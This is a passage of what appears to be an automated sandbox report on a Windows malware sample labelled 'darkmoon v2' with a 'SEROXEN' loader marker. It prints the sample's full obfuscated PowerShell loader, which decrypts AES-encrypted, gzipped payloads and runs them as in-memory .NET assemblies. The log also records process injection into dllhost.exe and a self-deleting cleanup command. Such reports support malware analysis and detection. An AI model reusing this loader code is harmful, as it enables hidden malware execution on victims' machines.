$MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2324 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{5d6fe5a3-b187-49b5-a97b-132f8fe2dd95}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4880
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2324).WaitForExit();[System.Threading.Thread]::Sleep(5000); function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4104
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{25720dff-b447-403f-bca3-81a181895069}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{5cdd3ff6-b58e-4e42-9b10-b26bb0ceb7cd}5⤵PID:2092
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{9ca9c27a-7169-48ba-9414-3b4d4044c479}5⤵PID:5000
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{2d737f78-ef5e-4a60-af81-877c660a9074}5⤵PID:1184
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{5696d7cc-43ef-4d58-bf7b-2fd541310bbb}5⤵PID:2228
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{c33bb540-ffb0-48f5-8d6e-37693884ad92}5⤵PID:5028
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{526f65f7-718d-432f-acb4-5684b9e0f7b2}5⤵PID:1140
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1140 -s 4566⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1712
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{8842de02-99a1-4fd8-b708-a202e1631754}5⤵PID:3384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1432
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1484
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1784
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2012
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1936
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2080
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2156
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2164
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2252
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2700
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2776
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2888
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3108
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3436 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:244 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1628
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C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{3d6d5f14-9b06-4971-a2df-9dd3878bac4b}4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3144
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d0d8cc5b-b173-4542-9f55-50a971b64280}4⤵PID:1596
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & exit4⤵PID:5320
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
PID:4156
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- Runs ping.exe
PID:3500
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"5⤵
- Kills process with taskkill
PID:2508
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"5⤵
- Views/modifies file attributes
PID:6120
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3580
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3788
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3940
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3852
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:944
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2032
